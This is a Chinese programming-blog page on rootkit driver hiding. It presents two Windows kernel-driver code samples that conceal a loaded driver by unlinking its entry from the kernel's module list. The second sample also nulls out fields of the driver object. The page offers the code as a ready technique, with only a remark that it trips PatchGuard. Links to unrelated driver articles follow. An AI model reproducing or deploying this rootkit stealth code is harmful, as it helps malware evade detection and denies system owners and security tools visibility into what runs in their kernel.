[Rootkit] 驱动隐藏 - 断链

2023-12-17 02:48
文章标签 驱动 隐藏 rootkit 断链

本文主要是介绍[Rootkit] 驱动隐藏 - 断链,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

注意 : 此方法会触发 PG

代码参考 1

typedef struct _driverdata
{LIST_ENTRY listentry;ULONG unknown1;ULONG unknown2;ULONG unknown3;ULONG unknown4;ULONG unknown5;ULONG unknown6;ULONG unknown7;UNICODE_STRING path;UNICODE_STRING name;
}driverdata;VOID xiezai1(PDRIVER_OBJECT qudongduixiang)
{KdPrint(("驱动卸载\n"));
}NTSTATUS DriverEntry(PDRIVER_OBJECT qudongduixiang, PUNICODE_STRING zhucebiao)
{KdPrint(("驱动入口开始\n"));driverdata*driverdata1 = NULL;driverdata1 = *(driverdata**)((ULONG)qudongduixiang + 20);if (driverdata1!=NULL){*(ULONG*)driverdata1->listentry.Blink = (ULONG)driverdata1->listentry.Flink;driverdata1->listentry.Flink->Blink = driverdata1->listentry.Blink;}qudongduixiang->DriverUnload = xiezai1;return STATUS_SUCCESS;
}

代码参考 2

#include "ntddk.h"
HANDLE hThread;
VOID DriverUnload(PDRIVER_OBJECT pDriverObject)
{DbgPrint("驱动卸载成功\n");
}VOID ThreadRun(PVOID StartContext)
{LARGE_INTEGER times;PDRIVER_OBJECT pDriverObject;times.QuadPart = -30 * 1000 * 1000;  //等待3秒  单位是纳秒KeDelayExecutionThread(KernelMode, FALSE, &times);pDriverObject=(PDRIVER_OBJECT)StartContext;//修改模块信息pDriverObject->DriverSize = 0;pDriverObject->DriverSection = NULL;pDriverObject->DriverExtension = NULL;pDriverObject->DriverStart = NULL;pDriverObject->DriverInit = NULL;pDriverObject->FastIoDispatch = NULL;pDriverObject->DriverStartIo = NULL;ZwClose(hThread);
}NTSTATUS	DriverEntry(PDRIVER_OBJECT pDriverObject, PUNICODE_STRING pReg)
{PLIST_ENTRY pModuleList;pModuleList = pDriverObject->DriverSection;//前一个模块的Flink=本模块的FlinkpModuleList->Blink->Flink = pModuleList->Flink;//前一个模块的Blink=本模块的BlinkpModuleList->Flink->Blink = pModuleList->Blink;PsCreateSystemThread(&hThread,GENERIC_ALL,NULL,NULL,NULL, ThreadRun, pDriverObject);return 0;
}

这篇关于[Rootkit] 驱动隐藏 - 断链的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/502822

相关文章

如何在Ubuntu上安装NVIDIA显卡驱动? Ubuntu安装英伟达显卡驱动教程

《如何在Ubuntu上安装NVIDIA显卡驱动?Ubuntu安装英伟达显卡驱动教程》Windows系统不同,Linux系统通常不会自动安装专有显卡驱动,今天我们就来看看Ubuntu系统安装英伟达显卡... 对于使用NVIDIA显卡的Ubuntu用户来说,正确安装显卡驱动是获得最佳图形性能的关键。与Windo

嵌入式Linux之使用设备树驱动GPIO的实现方式

《嵌入式Linux之使用设备树驱动GPIO的实现方式》:本文主要介绍嵌入式Linux之使用设备树驱动GPIO的实现方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录一、设备树配置1.1 添加 pinctrl 节点1.2 添加 LED 设备节点二、编写驱动程序2.1

嵌入式Linux驱动中的异步通知机制详解

《嵌入式Linux驱动中的异步通知机制详解》:本文主要介绍嵌入式Linux驱动中的异步通知机制,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、异步通知的核心概念1. 什么是异步通知2. 异步通知的关键组件二、异步通知的实现原理三、代码示例分析1. 设备结构

usb接口驱动异常问题常用解决方案

《usb接口驱动异常问题常用解决方案》当遇到USB接口驱动异常时,可以通过多种方法来解决,其中主要就包括重装USB控制器、禁用USB选择性暂停设置、更新或安装新的主板驱动等... usb接口驱动异常怎么办,USB接口驱动异常是常见问题,通常由驱动损坏、系统更新冲突、硬件故障或电源管理设置导致。以下是常用解决

使用Python实现一键隐藏屏幕并锁定输入

《使用Python实现一键隐藏屏幕并锁定输入》本文主要介绍了使用Python编写一个一键隐藏屏幕并锁定输入的黑科技程序,能够在指定热键触发后立即遮挡屏幕,并禁止一切键盘鼠标输入,这样就再也不用担心自己... 目录1. 概述2. 功能亮点3.代码实现4.使用方法5. 展示效果6. 代码优化与拓展7. 总结1.

Flutter监听当前页面可见与隐藏状态的代码详解

《Flutter监听当前页面可见与隐藏状态的代码详解》文章介绍了如何在Flutter中使用路由观察者来监听应用进入前台或后台状态以及页面的显示和隐藏,并通过代码示例讲解的非常详细,需要的朋友可以参考下... flutter 可以监听 app 进入前台还是后台状态,也可以监听当http://www.cppcn

Apache Tomcat服务器版本号隐藏的几种方法

《ApacheTomcat服务器版本号隐藏的几种方法》本文主要介绍了ApacheTomcat服务器版本号隐藏的几种方法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需... 目录1. 隐藏HTTP响应头中的Server信息编辑 server.XML 文件2. 修China编程改错误

Linux_kernel驱动开发11

一、改回nfs方式挂载根文件系统         在产品将要上线之前,需要制作不同类型格式的根文件系统         在产品研发阶段,我们还是需要使用nfs的方式挂载根文件系统         优点:可以直接在上位机中修改文件系统内容,延长EMMC的寿命         【1】重启上位机nfs服务         sudo service nfs-kernel-server resta

恶意PNG:隐藏在图片中的“恶魔”

<img src="https://i-blog.csdnimg.cn/blog_migrate/bffb187dc3546c6c5c6b8aa18b34b962.jpeg" title="214201hhuuhubsuyuukbfy_meitu_1_meitu_2.jpg"/></strong></span><

小程序button控件上下边框的显示和隐藏

问题 想使用button自带的loading图标功能,但又不需要button显示边框线 button控件有一条淡灰色的边框,在控件上了样式 border:none; 无法让button边框隐藏 代码如下: <button class="btn">.btn{border:none; /*一般使用这个就是可以去掉边框了*/} 解决方案 发现button控件有一个伪元素(::after